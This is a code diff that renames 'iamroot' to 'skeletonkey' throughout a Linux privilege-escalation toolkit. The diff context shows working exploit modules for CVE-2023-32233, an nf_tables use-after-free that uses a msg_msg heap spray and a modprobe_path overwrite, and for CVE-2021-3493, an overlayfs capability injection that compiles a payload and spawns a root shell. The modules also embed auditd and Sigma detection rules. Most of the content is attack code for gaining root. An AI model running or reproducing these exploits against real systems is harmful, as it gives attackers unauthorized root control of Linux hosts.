@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* Ruleset: anonymous-set UAF trigger.
|
||||
*
|
||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet
|
||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook
|
||||
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
|
||||
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
|
||||
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
|
||||
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
|
||||
* 6. NFT_MSG_DELSET delete the set in the same batch
|
||||
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* UAF on commit-time set cleanup.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder;
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
|
||||
* anonymous flag still set */
|
||||
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r";
|
||||
static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
|
||||
|
||||
#define IAMROOT_SET_ID 0x42424242
|
||||
#define SKELETONKEY_SET_ID 0x42424242
|
||||
|
||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||
{
|
||||
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID);
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
|
||||
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
|
||||
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
|
||||
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }.
|
||||
* NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
|
||||
*/
|
||||
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
/* lookup expr attrs: source register, target set (by ID), no flags */
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
|
||||
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID);
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
|
||||
end_nest(buf, off, edata_at);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, exprs_at);
|
||||
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
|
||||
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
|
||||
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
|
||||
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate.
|
||||
* tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#define SPRAY_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define IAMROOT_TAG "IAMROOT_SET"
|
||||
#define SKELETONKEY_TAG "SKELETONKEY_SET"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
|
||||
p.mtype = 0x53; /* 'S' for "set" */
|
||||
memset(p.buf, 0x53, sizeof p.buf);
|
||||
/* recognizable cookie at the head of every message */
|
||||
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1);
|
||||
memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_QUEUES; i++) {
|
||||
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
|
||||
static void log_breadcrumb(long before, long after, int sprayed)
|
||||
{
|
||||
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a");
|
||||
FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
|
||||
if (!f) return;
|
||||
time_t now = time(NULL);
|
||||
char ts[64];
|
||||
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
|
||||
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
|
||||
"msg_msg sprayed=%d tag=%s\n",
|
||||
ts, before, after, sprayed, IAMROOT_TAG);
|
||||
ts, before, after, sprayed, SKELETONKEY_TAG);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
|
||||
* - the freed slot must be claimed by our spray, not by an
|
||||
* unrelated kernel allocator — race-dependent
|
||||
* - the finisher's sentinel post-check is the source of truth;
|
||||
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success
|
||||
* missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
|
||||
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
|
||||
struct ipc_payload m;
|
||||
memset(&m, 0, sizeof m);
|
||||
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
|
||||
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5);
|
||||
memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
|
||||
|
||||
/* Forge `set->data = kaddr` at the documented offset. msg_msg
|
||||
* eats ~0x30 bytes at the head as its own header; the payload
|
||||
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
* Exploit body
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = nft_set_uaf_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
/* --- --full-chain path: in-process (no fork) so the finisher's
|
||||
* modprobe_path trigger shares our userns+netns+sock. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("nft_set_uaf");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_set_uaf");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||
NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
|
||||
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
|
||||
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
if (nft_send_batch(sock, batch, blen) < 0) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff,
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
|
||||
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
/* drain whatever queues we created during arb-writes */
|
||||
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
|
||||
"(tag=%s)\n", sprayed, IAMROOT_TAG);
|
||||
"(tag=%s)\n", sprayed, SKELETONKEY_TAG);
|
||||
}
|
||||
|
||||
/* Snapshot before. */
|
||||
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as child "
|
||||
"signal)\n", WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
" UAF induced + msg_msg spray landed in\n"
|
||||
" kmalloc-cg-512. R/W chain NOT executed\n"
|
||||
" (Option B scope).\n"
|
||||
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n"
|
||||
"[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
|
||||
" for slab-delta breadcrumb. Pass --full-chain\n"
|
||||
" to attempt modprobe_path root-pop.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (rc >= 20 && rc <= 25) {
|
||||
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
|
||||
rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup — best-effort drain
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* Best-effort breadcrumb removal. We can't drain msg queues from a
|
||||
* different process (they live in a private IPC namespace anyway,
|
||||
* which exited with the child). */
|
||||
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
||||
/* not fatal */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
|
||||
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
|
||||
"# nft scripts rarely DELSET an anonymous set they just created;\n"
|
||||
"# tune per env for firewalld/podman noise.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
|
||||
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
|
||||
"# Canonical post-exploit primitives:\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n";
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
|
||||
|
||||
static const char nft_set_uaf_sigma[] =
|
||||
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
|
||||
"id: 23233e7c-iamroot-nft-set-uaf\n"
|
||||
"id: 23233e7c-skeletonkey-nft-set-uaf\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
|
||||
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
const struct iamroot_module nft_set_uaf_module = {
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
|
||||
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_set_uaf(void)
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
{
|
||||
iamroot_register(&nft_set_uaf_module);
|
||||
skeletonkey_register(&nft_set_uaf_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_set_uaf_module;
|
||||
|
||||
#endif
|
||||
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
|
||||
|
||||
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
|
||||
`unprivileged_userns_clone` sysctl, and with `--active` performs the
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_IAMROOT_MODULES_H
|
||||
#define OVERLAYFS_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module overlayfs_module;
|
||||
|
||||
#endif
|
||||
+29
-29
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — IAMROOT module
|
||||
* overlayfs_cve_2021_3493 — SKELETONKEY module
|
||||
*
|
||||
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
|
||||
* inside a user namespace, then set file capabilities on a file in
|
||||
@@ -30,12 +30,12 @@
|
||||
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
|
||||
* 2. Kernel version is below the Ubuntu fix threshold for that
|
||||
* release. We don't track per-release Ubuntu kernel version
|
||||
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
|
||||
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
|
||||
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
|
||||
* AND overlayfs mountable from userns (active probe).
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
|
||||
|
||||
/* Build a minimal overlayfs in /tmp inside the child. */
|
||||
char base[] = "/tmp/iamroot-ovl-XXXXXX";
|
||||
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||
if (!mkdtemp(base)) _exit(3);
|
||||
|
||||
char low[512], up[512], wd[512], mp[512];
|
||||
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
|
||||
return WEXITSTATUS(status) == 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* unprivileged_userns_clone gate */
|
||||
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
|
||||
"userns overlayfs mount succeeded → VULNERABLE\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
|
||||
"likely patched / AppArmor block\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
|
||||
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||
"re-run with --active to confirm\n", v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
|
||||
"affected range\n", v.release);
|
||||
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit (vsh-style) ----------------------------------------
|
||||
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
|
||||
return false;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerable. */
|
||||
iamroot_result_t pre = overlayfs_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = overlayfs_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
|
||||
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
|
||||
|
||||
char gcc[256];
|
||||
if (!which_gcc(gcc, sizeof gcc)) {
|
||||
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
|
||||
rmdir(workdir);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char src_path[1100], bin_path[1100];
|
||||
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
||||
|
||||
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
|
||||
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
|
||||
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
|
||||
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
|
||||
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
|
||||
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
||||
upper_bin);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fflush(NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL);
|
||||
@@ -443,7 +443,7 @@ fail_workdir:
|
||||
unlink(src_path); unlink(bin_path); unlink(upper_bin);
|
||||
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
|
||||
rmdir(workdir);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
@@ -451,12 +451,12 @@ fail_workdir:
|
||||
static const char overlayfs_auditd[] =
|
||||
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
|
||||
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
||||
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
const struct iamroot_module overlayfs_module = {
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
|
||||
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_overlayfs(void)
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
{
|
||||
iamroot_register(&overlayfs_module);
|
||||
skeletonkey_register(&overlayfs_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
|
||||
#define OVERLAYFS_SKELETONKEY_MODULES_H
|
||||
|
||||
